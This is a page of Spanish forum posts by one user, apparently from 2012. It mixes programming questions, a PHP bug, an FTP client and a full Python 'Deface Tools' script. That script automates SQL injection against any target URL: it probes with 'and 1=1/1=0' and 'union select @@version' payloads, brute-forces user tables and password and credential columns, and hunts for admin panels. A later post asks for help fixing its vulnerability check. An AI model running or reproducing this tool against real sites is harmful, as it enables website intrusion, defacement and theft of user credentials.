Y respecto al S.O me da igual el que venga de fábrica, pienso meterle cualquier distro decente de Linux, actualmente estoy con Ubuntu pero supongo que me decantaré por Debian o ArchLinux para probar cosas nuevas :D.

Y eso, que me recomendáis? :)

Gracias y un saludo :)

#26
Buenas compañeros :).

Actualmente me manejo bastante bien con C,HTML,PHP,SQL y Bash y domino Python, quería saber que lenguajes me recomendais aprender a parte de estos.

Había pensado en javascript para complementar el html y el php y se me habian ocurrido también Perl y Ruby.

¿Que me aconsejais?.

Un saludo :)
#27
PHP / No muestra links PHP
31 Marzo 2012, 18:08 PM
Código (php) [Seleccionar]
<?php
class menu
{
private $enlaces = array();
private $titulo = array();
public function inicializar($enl,$tit)
{
$this->enlaces[] = $enl;
$this->titulo[] = $tit;
}
public function mostrarhorizontal()
{
for($x=0;$x<count($this->enlaces);$x++)
{
echo "<a href=\"$this->enlaces[$x]\">$this->titulo[$x]</a>";
}
}
public function mostrarvertical()
{
for($x=0;$x<count($this->enlaces);$x++)
{
echo "<a href=\"$this->enlaces[$x]\">$this->titulo[$x]</a><br>";
}
}
}
$instancia = new menu();
$instancia->inicializar("http://www.google.es","Google");
$instancia->inicializar("http://www.php.es","PHP");
$instancia->mostrarvertical();
?>


El caso es que en vez de mostrar el titulo, que marca el <a href=''>Titulo</a>, devuelve Array
  • y no sé porque , he revisado el código y no encuentro nada raro nose :S.

    Gracias compañeros :)
#28
Desarrollo Web / Duda PHP
25 Marzo 2012, 17:24 PM
Buenas compañeros :).

Llevo un par de dias con PHP concretamente con el libro Manual Imprescindible de PHP5 de Luis Miguel Cabezas Granado.

Bueno mi preocupación reside en si para poder controlar decentemente PHP hace falta conocer al completo HTML o solo lo básico, porque vale, php lo domino bastante bien, en la parte semejante a otros lenguajes como Python y C++ que si controlo, tales como condicionales,bucles, POO, manejo de cadenas, expresiones regulares etc etc etc, pero cuando se van introduciendo sentencias de html,
ya más resbucadas me pierdo un poco :).

Y nada, esa es la duda espero vuestras respuestas y gracias por todo :).

Un saludo :)
#29
Scripting / Deface Tools By Rune
17 Marzo 2012, 19:23 PM
La siguiente herramienta es un compendio de tools utilizadas en deface.
El programa consta de las siguientes características:
 
   ----> Admin Panel Finder
   ----> Check Vulnerability
   ----> Ascii To Hex
   ----> Ascii To Binary
   ----> Show Tables
   ----> Show Columns
   ----> Show Version DB
   ----> Port Scanner
   ----> View Web Code

Recuerdo que el programa no es sustituto de nuestras manos :) y solo sirve para inyecciones que salgan redondas, sin necesidad de modificar algún carácter o cualquier detalle mínimo.

Dejo aquí el code :)

Código (python) [Seleccionar]
#!/usr/bin/env python
# -*- coding: utf-8 -*-
# Autor: Rune
# Fecha: 17/03/12
#:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
#:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::

import urllib,os,string


def check_ports(): #Funcion de escaneo de puertos
print """  
 _____            _      _____                                    
|  __ \          | |    / ____|                                  
| |__) |___  _ __| |_  | (___   ___  __ _ _ __  _ __   ___ _ __  
|  ___// _ \| '__| __|  \___ \ / __|/ _` | '_ \| '_ \ / _ \ '__|  
| |   | (_) | |  | |_   ____) | (__| (_| | | | | | | |  __/ |    
|_|    \___/|_|   \__| |_____/ \___|\__,_|_| |_|_| |_|\___|_|     """
                           
tablapuertos = []
errores = ["error","Error","inactiva","Inactiva","no ha podido establecer","!Vaya\xc2"]
print "\n\n [+] Port Scanner [+]"
print "\n[+] Introduce la web objetivo"
target = raw_input("\nTarget>")
print "\n[+] Escaneando puertos, puede llevar varios minutos..."
print "\n[+] Puertos escaneados:\n"
for puerto in range(0,65535): # Rango de 0, al total de puertos existente
try:
x = urllib.urlopen(target+":"+str(puerto))
for error in errores:
if error in x.read():
tablapuertos.append(puerto)
print "Puerto " + str(puerto)
except:
print "[-] No se ha podido establecer conexion con el servidor"
raw_input()
os.system("clear")
init()
if string.join(tablapuertos) == "":
print "[-] No se ha encontrado abierto ningun puerto"
raw_input()
os.system("clear")
init()
else:
print "\n [+] Puertos Abiertos [+]\n"
for elemento in tablapuertos:
print "----> " + elemento

def show_version(): # Funcion Mostrar Version
print """
  _____ _                    __      __            _            
 / ____| |                   \ \    / /           (_)            
| (___ | |__   _____      __  \ \  / /___ _ __ ___ _  ___  _ __  
 \___ \| '_ \ / _ \ \ /\ / /   \ \/ // _ \ '__/ __| |/ _ \| '_ \
 ____) | | | | (_) \ V  V /     \  /|  __/ |  \__ \ | (_) | | | |
|_____/|_| |_|\___/ \_/\_/       \/  \___|_|  |___/_|\___/|_| |_|
                                                                 """
print "\n\n [+] Show Version [+]"
tablaversiones = ["3.23","4.0.0","4.0.3","4.0.6","4.0.12","4.0.24","4.0.30","4.1.0","4.1.3","4.1.4","4.1.7","4.1.9","4.1.18","4.1.23","4.1.23","4.1.25","5.0.0","5.0.1","5.0.3","5.0.13","5.0.15","5.0.19","5.0.30","5.0.50","5.0.76","5.0.90","5.0.91","5.1.3","5.1.5","5.1.15","5.1.22","5.1.30","5.1.31","5.1.43","5.5.0","5.5.3"]
# Tablaversiones contiene todas las versiones de MySql hasta la actualidad
print "\n[+] Introduce la web objetivo"
version = ""
web = raw_input("Target>")
inyeccion = web + " and 1=0 union select @@version"
try:
t = urllib.urlopen(inyeccion).read()
for versionx in tablaversiones:
if versionx in t:
version = version + versionx
if version != "":
print "\n[+] La version del servidor SQL es --> " + version
raw_input()
os.system("clear")
init()
else:
print "\n[-] No se ha podido indentificar la version"
raw_input()
os.system("clear")
init()
except:
print "\n[-] No se ha podido realizar la inyeccion, compruebe la url"
raw_input()
os.system("clear")
init()

def show_columns2(): # Funcion Muestra columnas redireccionada desde init()
print """  
  _____ __                     ______       __                          
 / ___// /_  ____ _      __   / ____/____  / /__  ______ ___  ____  _____
 \__ \/ __ \/ __ \ | /| / /  / /    / __ \/ // / / / __ `__ \/ __ \/ ___/
___/ / / / / /_/ / |/ |/ /  / /___ / /_/ / // /_/ / / / / / / / / (__  )
/____/_/ /_/\____/|__/|__/   \____/ \____/_/ \__,_/_/ /_/ /_/_/ /_/____/  """
print "\n\n [+] Show Columns [+]"
columnas = ["nombres","id","nonmbre","user","username","nombre","Nombre","name","pass","password","contrase\xf1a","clave","contrasena","email","correo","usuario","usuarios","admin","administrador"]
# Las columnas mas frecuentes con informacion importante ;)
column = [] # Lista donde se guardaran las columnas encontradas
print "\n[+] Inserte la web objetivo"
web = raw_input("Target>")
try:
s = urllib.urlopen(web).read() # Abrimos la web inicial (leer codigo)
except:
print "\n[-] No se ha podido conectar con el servidor"
raw_input()
os.system("clear")
init()
print "\n [/] Inserte la tabla que desea investigar"
table = raw_input(">")
for elemento in columnas:
inyeccion = web + " and (select(count("+elemento+")) from " + table + ");"
x = urllib.urlopen(inyeccion).read() # Abrimos la web con la inyeccion
if x == s: #Si el codigo de la web no varia, la columna, es la que buscamos
column.append(elemento)# Anadimos la columna, con la cual el codigo no varia a la lista column
if string.join(column) != "": # Si la lista column, no esta vacia nos indica que hay columnas
print "\n\n [+] Columnas Encontradas [+] "
for elementoxs in column:
print "----> " + elementoxs #Las muestra
raw_input()
os.system("clear")
init()
else: # Si la lista esta vacia, columnas 0
print "\n\n [-] No se ha encontrado ninguna columna de usuario"
raw_input()
os.system("clear")
init()
 
   

def show_columns1(web,tabla): # Funcion mostrar columnas, redireccionada desde show_tables()
print """  
  _____ __                     ______       __                          
 / ___// /_  ____ _      __   / ____/____  / /__  ______ ___  ____  _____
 \__ \/ __ \/ __ \ | /| / /  / /    / __ \/ // / / / __ `__ \/ __ \/ ___/
___/ / / / / /_/ / |/ |/ /  / /___ / /_/ / // /_/ / / / / / / / / (__  )
/____/_/ /_/\____/|__/|__/   \____/ \____/_/ \__,_/_/ /_/ /_/_/ /_/____/  """
print "\n\n [+] Show Columns [+]"
columnas = ["nombres","id","nonmbre","user","username","nombre","Nombre","name","pass","password","contrase\xf1a","clave","contrasena","email","correo","usuario","usuarios","admin","administrador"]
# Las columnas mas frecuentes con informacion importante ;)
column = [] # Lista donde se guardaran las columnas encontradas
print "\n [+] Tablas [+]"
for el in tabla: # Mostramos las tablas anteriormente encontradas para la visualizacion del usuario
print "----> " + el
try:
s = urllib.urlopen(web).read() # Abrimos la web inicial (leer codigo)
except:
print "\n[-] No se ha podido conectar con el servidor"
raw_input()
os.system("clear")
init()
print "\n [/] Inserte la tabla que desea investigar"
table = raw_input(">")
for elemento in columnas:
inyeccion = web + " and (select(count("+elemento+")) from " + table + ");"
x = urllib.urlopen(inyeccion).read() # Abrimos la web con la inyeccion
if x == s: #Si el codigo de la web no varia, la columna, es la que buscamos
column.append(elemento) # Anadimos la columna, con la cual el codigo no varia a la lista column
if string.join(column) != "": # Si la lista column, no esta vacia nos indica que hay columnas
print "\n\n [+] Columnas Encontradas [+] "
for elementoxs in column:
print "----> " + elementoxs # Las muestra
raw_input()
os.system("clear")
init()
else: # Si la lista esta vacia, columnas 0
print "\n\n [-] No se ha encontrado ninguna columna de usuario"
raw_input()
os.system("clear")
init()






def view_code():
print """
  _____           _       __      ___              
 / ____|         | |      \ \    / (_)              
| |      ___   __| | ___   \ \  / / _  _____      __
| |     / _ \ / _` |/ _ \   \ \/ / | |/ _ \ \ /\ / /
| |____| (_) | (_| |  __/    \  /  | |  __/\ V  V /
 \_____|\___/ \__,_|\___|     \/   |_|\___| \_/\_/  
                                                    """
print "\n\n [+] View Code [+]"
print "\n[+] Inserte la url de la web"
print "[+] El codigo tambien se guardara en un archivo"
url = raw_input("\nTarget>") # Introducimos la web objetivo
try:
x = urllib.urlopen(url).read() # Abrimos la web en modo lectura
except:
print "\n[-] La url no es valida"
raw_input()
os.system("clear")
init()
print x
web = url.replace("/","")  # Creamos una variable que sistituya los / por espacios en blanco para poder guardar el archivo
f = open(web+".txt","w") # Creamos un archivo con el nombre de la web en extension .txt
f.write(x) # Escribimos el codigo sobre el
f.close() # Y cerramos
print "\n[+] Pulse cualquier tecla para volver..."
raw_input()
os.system("clear")
init()



def vuln2(web): # Funcion de chequeo de vulnerabilidades 2
print """  
_    __       __                       __    _ ___ __      
| |  / /__  __/ /____  ___  _________ _/ /_  (_) (_) /___  __
| | / // / / / // __ \/ _ \/ ___/ __ `/ __ \/ / / / __/ / / /
| |/ // /_/ / // / / /  __/ /  / /_/ / /_/ / / / / /_/ /_/ /
|___/ \__,_/_//_/ /_/\___/_/   \__,_/_.___/_/_/_/\__/\__, /  
                                                   /____/ """
                                                   
print "\n\n [+] Check Vulnerability [+]"
print "\n[+] Relizando un segundo escaneo..."
errores = ["Warning","Sql","MySql","warning","sql","SQL","MySQL"]
variable = 0
inyeccion = web + "'" # Declaramos la inyeccion, que sera igual que la web con comillas simples al final
try:
vulnerable = urllib.urlopen(inyeccion) # Abrimos la web
for error in errores:
if error in vulnerable.read(): # Y por cada error en la lista errores, si este error existe en el codigo, le sumamos 1 a variable
variable = variable + 1

if variable != 0: # Si variable es diferente de cero, indica que ha encontrado errores en el codigo, por tanto sera vulnerable
print "\n[+] El segundo escaneo indica que es vulnerable sin embargo, es de poca fiabilidad"
raw_input()
os.system("clear")
init()

else: # Al ser la variable igual que 0, no ha encontrado ningun error, y no es vulnerable
print "\n[-] Definitivamente la web no es vulnerable"
raw_input()
os.system("clear")
init()
except:
print " [-] Error en la comprobacion reeintente"
raw_input()
os.system("clear")
init()


def show_tables(): # Funcion Muestra Tablas
print """
  _____ __                     ______       __    __          
 / ___// /_  ____ _      __   /_  __/____ _/ /_  / /___  _____
 \__ \/ __ \/ __ \ | /| / /    / /  / __ `/ __ \/ // _ \/ ___/
___/ / / / / /_/ / |/ |/ /    / /  / /_/ / /_/ / //  __(__  )
/____/_/ /_/\____/|__/|__/    /_/   \__,_/_.___/_/ \___/____/ """
print "\n\n [+] Show Tables [+]"
tablas = ["users","admin","administrador","administrator","user","members","member","adm","nombres","cuentas","accounts","usuarios","wp-admin","wp-users"]
# Tablas de usuarios mas frecuentes ;)
tabla = [] # Lista vacia para almacenar las tablas encontradas
web = raw_input("\n\n[/]Target>")
print "[+] Localizando tablas de usuarios..."
try:
s = urllib.urlopen(web).read() # Abrimos la web inicial en modo lectura
except:
print "[-] No se ha podido conectar al servidor, revise la url"
raw_input()
os.system("clear")
init()
for elemento in tablas:
inyeccion = " and (select(count(*)) from " + elemento + ");" # Declaramos el codigo de la inyeccion
try:
t = urllib.urlopen(web+inyeccion).read() # Abrimos la url de la web + inyeccion en modo lectura
except:
print "\n[-] No se ha podido realizar la inyeccion"
raw_input()
os.system("clear")
init()
if t == s: # Si el codigo no varia, la tabla es la que buscabamos
tabla.append(elemento) # Insertamos la tabla localizada en la lista vacia
print "\n\n [+] Tablas Encontradas [+] "
for el1 in tabla: # Y aqui las imprimimos
print "---> " + el1
print "\n[+] Quiere continuar extrayendo las columnas?" # Ahora nos da opcion de continuar o no con las columnas, si continuamos nos redirige a show_columns1()
print "0 ----> Si"
print "1 ----> No"
lecc = input("\n>")
if lecc == 0:
os.system("clear")
show_columns1(web,tabla)
else:
os.system("clear")
init()



def textTobin(): # Funcion encargada de convertir ascii a binario
print """
 ___           _ _   _____      ______ _      
/ _ \         (_|_) |_   _|     | ___ (_)      
/ /_\ \___  ___ _ _    | | ___   | |_/ /_ _ __  
|  _  / __|/ __| | |   | |/ _ \  | ___ \ | '_ \
| | | \__ \ (__| | |   | | (_) | | |_/ / | | | |
\_| |_/___/\___|_|_|   \_/\___/  \____/|_|_| |_|"""
                                                     
print "\n\n [+] Ascii To Bin [+]"
bina = ''
textoa = raw_input("\n\n[/] Texto Ascii>")
print "\n[+] Conversion [+]"
for letra in textoa: # Por cada letra en la cadena, convertimos cada una en binario y posteriormente las concatenamos
bina = bina + bin(ord(letra))
bina = bina.replace('b','') #Sustituyendo las 'b' creadas por espacios en blanco
print bina
raw_input()
os.system("clear")
init()

def textTohex(): # Funcion encargada de convertir ascii a hexadecimal
print """
 ______            __     ______          __  __          
/_  __/___   _  __/ /_   /_  __/____     / / / /___   _  __
 / /  / _ \ | |/_/ __/    / /  / __ \   / /_/ // _ \ | |/_/
/ /  /  __/_>  </ /_     / /  / /_/ /  / __  //  __/_>  <  
/_/   \___//_/|_|\__/    /_/   \____/  /_/ /_/ \___//_/|_|"""
print "\n\n [+] Ascii To Hex [+]"
textoa = raw_input("\n\n[/]Texto Ascii>")
hexa = ''
print "\n[+] Conversion [+]"
for letra in textoa: # Por cada letra en la cadena, convertimos cada una en hexadecimal y posteriormente las concatenamos
hexa = hexa + hex(ord(letra))
hexa = "0x%s" %hexa.replace('0x','') # Sustituyendo los '0x' creados por espacios en blanco menos el primero
print hexa
raw_input()
os.system("clear")
init()

def check_vuln(): # Funcion de chequeo de vulnerabilidades SQL
print """  
_    __       __                       __    _ ___ __      
| |  / /__  __/ /____  ___  _________ _/ /_  (_) (_) /___  __
| | / // / / / // __ \/ _ \/ ___/ __ `/ __ \/ / / / __/ / / /
| |/ // /_/ / // / / /  __/ /  / /_/ / /_/ / / / / /_/ /_/ /
|___/ \__,_/_//_/ /_/\___/_/   \__,_/_.___/_/_/_/\__/\__, /  
                                                   /____/ """
                                                   
print "\n\n [+] Check Vulnerability [+]"
web = raw_input("\n\n[/]Target>")
print "\n[+] Comprobando vulnerabilidad"
comando1 = " and 1=1" # Comandos de la inyeccion 1
comando2 = " and 1=0" # Comandos de la inyeccion 2
try:
# Abrimos las diferentes urls, para compararlas posteriormente
n = urllib.urlopen(web).read()
p = urllib.urlopen(web+comando1).read()
t = urllib.urlopen(web+comando2).read()
if p != t and p==n: # Si la inyeccion and 1=1 es igual al codigo de la web normal y es diferente al codigo de 1 = 0 es Vulnerable
print "\n[+] El servidor es vulnerable a SQL, continue con la inyeccion"
raw_input()
os.system("clear")
init()
else: # De lo contrario la web no es vulnerable y nos da la opcion de realizar un 2 escaneo
print "\n[-] El servidor no es vulnerable a SQL en su primer escaneo, quiere realizar un segundo?"
print "\n0---->Si"
print "1---->No"
eleccion = input("\n>")
if eleccion == 0:
os.system("clear")
vuln2(web)
else:
raw_input()
os.system("clear")
init()

except:
print "[-] No se ha podido conectar al servidor, revise la Url"
raw_input()
os.system("clear")
init()

def buscaPanel(): # Funcion que localizara el admin panel
print """  
   ____                   __   _______            __          
  / __ \____ _____  ___  / /  / ____(_)____  ____/ /___  _____
 / /_/ / __ `/ __ \/ _ \/ /  / /_  / // __ \/ __  // _ \/ ___/
/ ____/ /_/ / / / /  __/ /  / __/ / // / / / /_/ //  __/ /    
/_/    \__,_/_/ /_/\___/_/  /_/   /_//_/ /_/\__,_/ \___/_/    
                                                              """
print "\n\n [+] Admin Panel Finder [+]"
s = raw_input("\n\n[/]Target>")  # Introducimos la web a investigar
f = open("Paneles.txt","r") #Abrimos el archivo Paneles.txt que contiene los paneles mas frecuentes
tabla =[]
i = 0
try:
p = urllib.urlopen(s + "/dasfdsdvd").read() # Leemos el codigo de una pagina inexistente en la web
print "[+] Buscando paneles, esta busqueda puede tomar varios segundos/minutos"
for elemento in f.readlines(): # Leemos las lineas del archivo de texto, cada linea contiene un panel
t = urllib.urlopen(s+elemento).read() # Y abrimos en modo lectura, la url de la web + el panel
if t != p: # Si el codigo del panel es diferente al de la web inexistente, Bingo! (Problema) Puede mostrar errores distintos, "mejorar nueva version"
tabla2 = tabla.insert(i,elemento) # Guarda en una lista los paneles encontrados
print "\n [+] Paneles encontrados:\n"
for x in tabla:
print s + x # Y aqui los muestra
raw_input()
os.system("clear")
init()
except:
print "[-] Ningun Panel Encontrado / Web invalida"
raw_input()
os.system("clear")
init()
def init():
print """  
   ____       ____                    __              __    
  / __ \___  / __/____ _________     / /_____  ____  / /_____
 / / / / _ \/ /_ / __ `/ ___/ _ \   / __/ __ \/ __ \/ // ___/
/ /_/ /  __/ __// /_/ / /__/  __/  / /_/ /_/ / /_/ / /(__  )
/_____/\___/_/   \__,_/\___/\___/   \__/\____/\____/_//____/ """
print "\n\n [+] Menu Principal[+]\n "
print "0------> Admin Panel Finder"
print "1------> Check Vulnerability"
print "2------> Ascii To Hex"
print "3------> Ascii To Binary"
print "4------> Show Tables"
print "5------> Show Columns"
print "6------> Show Version DB"
print "7------> Port Scanner"
print "8------> View Web Code\n"
eleccion = input("[/] Que desea hacer?>")
if eleccion == 0:
os.system("clear")
buscaPanel()
elif eleccion == 1:
os.system("clear")
check_vuln()
elif eleccion == 2:
os.system("clear")
textTohex()
elif eleccion == 3:
os.system("clear")
textTobin()
elif eleccion == 4:
os.system("clear")
show_tables()
elif eleccion == 5:
os.system("clear")
show_columns2()
elif eleccion == 6:
os.system("clear")
show_version()
elif eleccion == 7:
os.system("clear")
check_ports()
elif eleccion == 8:
os.system("clear")
view_code()
else:
print "[-] El numero introducido no es valido"
raw_input()
os.system("clear")
init()
init()

# The End!



Y eso es todo compañeros, espero que sea de vuestro agrado, hay algunos errores, pero generalmente funciona bien.
En posteriores versiones implementaré la opción de extraer datos de las columnas :)

Un saludo :)

#30
Scripting / FTP Client Python By Rune
17 Marzo 2012, 15:02 PM
Posteo un programa que acabe hace un tiempo y quería mostrarlo, contribuyendo a la comunidad :).

Se trata de un cliente ftp, que permite investigar los directorios, subir y descargar archivos, sin interfaz gráfica pero considero, que sigue siendo un entorno bastante amigable :)

Aquí os dejo el código:
Código (python) [Seleccionar]

#!/usr/bin/env python
import ftplib,os


def darchivos(f): # Funcion encargada de descargar archivos del servidor
eleccion = "SI"


while eleccion != "NO" and eleccion == "SI":
try:
os.system("clear")
print " [+] Panel de Descargas [+]\n"
print "[+] Directorios y Archivos\n  "
for x in f.nlst():
print x
print " \n  [/]Inserte el nombre del archivo a descargar"
archivoserv = raw_input("Nombre>")

print "\n[+]Ahora inserte el nombre del archivo para guardar en su sistema"
archivodir = raw_input("Nombre>")
t = open(archivodir,"wb")
print "Descargando..."
f.retrbinary('RETR %s' %archivoserv,t.write)
print "[+]!Descarga completada con exito!"
print "[/] Quiere seguir descargando?"
eleccion = raw_input("Si o No?")
eleccion = eleccion.upper()
if eleccion == 'NO':
print "Pulse cualquier tecla para salir"
raw_input()
f.quit()
f.close()
if eleccion != 'NO' and eleccion != 'SI':
print "[-] Eleccion no valida"
raw_input()
darchivos(f)
except:
print "[-]No se ha podido descargar el archivo, compruebe la insercion del nombre y la validez del archivo"
raw_input()
os.system("clear")
for p in f.nlst():
print p
darchivos(f)


def archivos(f): # Funcion encargada de subir archivos al servidor

eleccion = 'SI'
while eleccion == 'SI' and eleccion != 'NO':
try:
os.system("clear")
print " [+] Panel de Subidas [+]\n"
print "[+] Directorios y Archivos\n  "
for sp in f.nlst():
print sp
print "\n[+] Inserte el nombre del archivo a subir junto con su directorio"
archivo_origen = raw_input("Nombre>")
t = open(archivo_origen,'rb')
except:
print "[-] Error,el archivo no existe,retornando"
raw_input()
os.system("clear")
archivos(f)
print "\n[+] Inserte ahora el nombre que tomara el archivo en el servidor"
archivo_destino = raw_input("Nombre>")
try:
f.storbinary('STOR %s' %archivo_destino,t)
print "[+] Subida completada con exito!"
print "[/] Quiere seguir descargando?"
eleccion = raw_input("Si o No?")
eleccion = eleccion.upper()
if eleccion == 'NO':
print "Pulse cualquier tecla para salir"
raw_input()
f.quit()
f.close()
if eleccion != 'NO' and eleccion != 'SI':
print "[-] Eleccion no valida"
raw_input()
archivos(f)

f.quit()
f.close()
except:
print "[-] No se ha podido subir el archivo, retornando"
raw_input()
os.system("clear")
archivos(f)


def mostrar_directorios(f): # Funcion que recorre los directorios del servidor

try:
os.system("clear")
print "[+] Directorios y Arhivos\n"
for x in f.nlst():
print x
print "\n[/] Elija directorio"
directorio = raw_input("Directorio>")
f.cwd(directorio)
os.system("clear")
except:
print "[-] El directorio introducido no es valido retornando"
raw_input()
os.system("clear")
f.quit()
f.close()
main()

print "[+] Directorios y Archivos ",directorio,"\n\n"
for x in f.nlst():
print x
print "\n[/] Desea investigar otro directorio?"
eleccion = raw_input("Si o No?>")
eleccion = eleccion.upper()
if eleccion == 'SI':
while eleccion == 'SI':
try:
print "[/] Elija Directorio:"
directoriox = raw_input("Directorio>")
f.cwd(directoriox)
os.system("clear")
print "[+] Directorios y Archivos  ",directoriox,"\n\n"
for s in f.nlst():
print s
except:
print "[-] El nombre introducido no existe o no es un directorio,retornando"
raw_input()
os.system("clear")
main()

print "\n[/] Desea investigar otro directorio?"
eleccion = raw_input("Si o No?>")
eleccion = eleccion.upper()
if eleccion == 'NO':
print "\n[+] Que funcion quiere llevar a cabo?"
print "--> Subir Archivos (Subir)"
print "--> Descargar Archivos (Descargar)"
eleccion3 = raw_input("Eleccion>")
eleccion3 = eleccion3.upper()
if eleccion3 == "SUBIR":
archivos(f)
elif eleccion3 == "DESCARGAR":
darchivos(f)
else:
print "[-] El valor introducido no es valido"
raw_input()
os.system("clear")
f.quit()
f.close()
main()
elif eleccion != 'SI' and eleccion != 'NO':
print "[-] No es una opcion valida, retornando"
raw_input()
os.system("clear")
f.quit()
f.close()
main()
elif eleccion == 'NO':
print "\n[/] Que funcion quiere llevar a cabo?"
print "--> Subir Archivos (Subir)"
print "--> Descargar Archivos (Descargar)"
eleccion3 = raw_input("Eleccion>")
eleccion3 = eleccion3.upper()
if eleccion3 == "SUBIR":
archivos(f)
elif eleccion3 == "DESCARGAR":
darchivos(f)
else:
print "[-] El valor introducido no es valido"
raw_input()
os.system("clear")
f.quit()
f.close()
main()

else:
print "[-] El valor introducido no es valido"
raw_input()
os.system("clear")
f.quit()
f.close()
main()







def entrarFtp(web): # Funcion encargada de conectar al servidor dando user y pass
try:
f = ftplib.FTP(web)
print "\n"+f.getwelcome()
except:

print "[-] El servidor es incorrecto, retornando"
raw_input()
os.system("clear")
main()
try:
user = raw_input("User>")
pasd = raw_input("Pass>")
f.login(user,pasd)
mostrar_directorios(f)


except:

print "[-] El user o la pass es incorrecto"
raw_input()
os.system("clear")
f.quit()
f.close()
main()



def main(): # Funcion Principal Main
print """
_____ ______ ____          __ _     ____   ___ ____  ______
|     |      |    \        /  ] |   |    | /  _]    \|      |
|   __|      |  o  )      /  /| |    |  | /  [_|  _  |      |
|  |_ |_|  |_|   _/      /  / | |___ |  ||    _]  |  |_|  |_|
|   _]  |  | |  |       /   \_|     ||  ||   [_|  |  | |  |  
|  |    |  | |  |       \     |     ||  ||     |  |  | |  |  
|__|    |__| |__|        \____|_____|____|_____|__|__| |__|  
                                                           

____  __ __      ____  __ __ ____    ___
|    \|  |  |    |    \|  |  |    \  /  _]
|  o  )  |  |    |  D  )  |  |  _  |/  [_
|     |  ~  |    |    /|  |  |  |  |    _]
|  O  |___, |    |    \|  :  |  |  |   [_
|     |     |    |  .  \     |  |  |     |
|_____|____/     |__|\_|\__,_|__|__|_____|
     """
print "[/]Introduzca el servidor ftp"
web = raw_input("FTP>")
entrarFtp(web)

main()


Un saludo :)
#31
Scripting / Error Urllib Python
17 Marzo 2012, 14:45 PM
Buenas bros! :)

Tengo un problema con el siguiente codigo:

print "\n\n         
  • Check Vulnerability
  • "
       print "\n
  • Relizando un segundo escaneo..."
       inyeccion = web + "'"
       vulnerable = urllib.urlopen(inyeccion).read()
       if "Warning" in vulnerable and "Sql" in vulnerable:
          print "\n[-] En este escaneo, la web se ha mostrado vulnerable, sin embargo, este segundo          escaneo no es muy fiable"
          raw_input()
          os.system("clear")
          init()   
       else:
          print "\n[-] Definitivamente la web no es vulnerable"
          raw_input()
          os.system("clear")
          init()

    El problema es que aunque se ingrese una web que se muestre vulnerable al añadirle comillas simples al final de la url, el programa no lo reconoce.

    Supongo que el problema estará en que el código no consigue encontrar las cadenas en la lectura del codigo fuente, es decir en esta linea del condicional:

    ---> if "Warning" in vulnerable and "Sql" in vulnerable:

    ¿Alguien tiene alguna idea?
    Gracias :)